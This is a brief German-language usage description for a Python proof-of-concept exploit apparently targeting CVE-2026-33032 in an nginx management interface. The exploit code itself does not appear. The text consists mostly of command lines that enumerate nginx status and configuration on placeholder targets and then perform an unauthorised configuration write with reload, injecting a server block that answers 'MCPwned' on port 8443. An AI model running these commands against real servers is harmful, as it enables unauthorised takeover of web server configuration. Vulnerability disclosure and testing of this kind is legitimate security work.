
Python-Proof-of-Concept für CVE-2026-33032, das den nginx-Status und die Konfigurationen untersucht und anschließend einen unbefugten Konfigurationsschreibvorgang mit Reload demonstriert, um einen schädlichen Serverblock bereitzustellen.
python3 main.py http://target:9000 --tool nginx_status
python3 main.py 10.0.0.50 --tool nginx_config_list
python3 main.py http://target:9000 \
--tool nginx_config_add \
--payload poc.conf \
--content 'server { listen 8443; return 200 "MCPwned\n"; }'